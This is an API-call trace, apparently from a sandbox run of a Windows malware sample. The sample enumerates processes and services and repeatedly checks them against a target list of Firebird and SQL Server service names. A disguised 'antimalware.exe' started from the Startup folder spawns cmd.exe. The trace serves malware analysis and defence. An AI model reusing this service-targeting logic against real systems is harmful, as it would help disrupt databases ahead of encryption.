	[0182.977] lstrlenW (lpString="SecurityHealthService") returned 21
	[0182.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0182.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0182.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0182.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0182.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0182.978] lstrlenW (lpString="SENS") returned 4
	[0182.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0182.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0182.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0182.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0182.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0182.978] lstrlenW (lpString="ShellHWDetection") returned 16
	[0182.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0182.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0182.978] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0182.978] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0182.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0182.978] lstrlenW (lpString="Spooler") returned 7
	[0182.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0182.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0182.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0182.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0182.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0182.979] lstrlenW (lpString="StateRepository") returned 15
	[0182.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0182.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0182.979] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0182.979] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0182.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0182.979] lstrlenW (lpString="SysMain") returned 7
	[0182.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0182.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0182.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0182.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0182.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0182.979] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0182.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0182.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0182.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0182.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0182.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0182.979] lstrlenW (lpString="Themes") returned 6
	[0182.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0182.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0182.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0182.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0182.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0182.980] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0182.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0182.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0182.980] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0182.980] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0182.980] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb108 | out: hHeap=0x6a0000) returned 1
	[0182.980] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0
	[0183.133] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0183.134] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0183.135] lstrlenW (lpString="System") returned 6
	[0183.135] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0183.136] lstrlenW (lpString="smss.exe") returned 8
	[0183.136] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0183.137] lstrlenW (lpString="csrss.exe") returned 9
	[0183.137] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0183.138] lstrlenW (lpString="wininit.exe") returned 11
	[0183.138] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0183.139] lstrlenW (lpString="csrss.exe") returned 9
	[0183.139] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0183.140] lstrlenW (lpString="winlogon.exe") returned 12
	[0183.140] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0183.141] lstrlenW (lpString="services.exe") returned 12
	[0183.141] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0183.142] lstrlenW (lpString="lsass.exe") returned 9
	[0183.142] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0183.143] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0183.143] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0183.144] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0183.144] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.145] lstrlenW (lpString="svchost.exe") returned 11
	[0183.146] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.147] lstrlenW (lpString="svchost.exe") returned 11
	[0183.147] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0183.148] lstrlenW (lpString="dwm.exe") returned 7
	[0183.148] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.149] lstrlenW (lpString="svchost.exe") returned 11
	[0183.149] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.150] lstrlenW (lpString="svchost.exe") returned 11
	[0183.150] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.151] lstrlenW (lpString="svchost.exe") returned 11
	[0183.151] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.152] lstrlenW (lpString="svchost.exe") returned 11
	[0183.152] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.153] lstrlenW (lpString="svchost.exe") returned 11
	[0183.153] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.154] lstrlenW (lpString="svchost.exe") returned 11
	[0183.154] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.155] lstrlenW (lpString="svchost.exe") returned 11
	[0183.155] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.156] lstrlenW (lpString="svchost.exe") returned 11
	[0183.157] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.158] lstrlenW (lpString="svchost.exe") returned 11
	[0183.158] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.518] lstrlenW (lpString="svchost.exe") returned 11
	[0183.518] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0183.519] lstrlenW (lpString="spoolsv.exe") returned 11
	[0183.519] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.520] lstrlenW (lpString="svchost.exe") returned 11
	[0183.520] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0183.521] lstrlenW (lpString="audiodg.exe") returned 11
	[0183.521] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0183.521] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0183.521] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0183.522] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0183.522] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0183.523] lstrlenW (lpString="sihost.exe") returned 10
	[0183.523] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0183.524] lstrlenW (lpString="Memory Compression") returned 18
	[0183.524] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.525] lstrlenW (lpString="svchost.exe") returned 11
	[0183.525] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0183.526] lstrlenW (lpString="taskhostw.exe") returned 13
	[0183.526] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0183.526] lstrlenW (lpString="msoia.exe") returned 9
	[0183.527] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0183.527] lstrlenW (lpString="explorer.exe") returned 12
	[0183.527] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0183.528] lstrlenW (lpString="SearchUI.exe") returned 12
	[0183.528] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0183.529] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0183.529] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0183.530] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0183.530] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0183.531] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0183.531] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0183.532] lstrlenW (lpString="dllhost.exe") returned 11
	[0183.532] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0183.532] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0183.532] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0183.533] lstrlenW (lpString="cmd.exe") returned 7
	[0183.533] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0183.534] lstrlenW (lpString="cmd.exe") returned 7
	[0183.534] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0183.535] lstrlenW (lpString="conhost.exe") returned 11
	[0183.535] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0183.536] lstrlenW (lpString="conhost.exe") returned 11
	[0183.536] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0183.537] CloseHandle (hObject=0x3a0) returned 1
	[0183.537] Sleep (dwMilliseconds=0x1f4) 
	[0184.460] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6dde18
	[0184.461] EnumServicesStatusExW (in: hSCManager=0x6dde18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0
	[0184.461] GetLastError () returned 0xea
	[0184.461] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1bc4) returned 0x43cb108
	[0184.461] EnumServicesStatusExW (in: hSCManager=0x6dde18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43cb108, cbBufSize=0x1bc4, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43cb108, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1
	[0184.462] CloseServiceHandle (hSCObject=0x6dde18) returned 1
	[0184.462] lstrlenW (lpString="Appinfo") returned 7
	[0184.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0184.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0184.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0184.462] lstrlenW (lpString="AppXSvc") returned 7
	[0184.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0184.463] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0184.463] lstrlenW (lpString="Audiosrv") returned 8
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0184.463] lstrlenW (lpString="BFE") returned 3
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0184.463] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0184.464] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0184.464] lstrlenW (lpString="CDPSvc") returned 6
	[0184.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
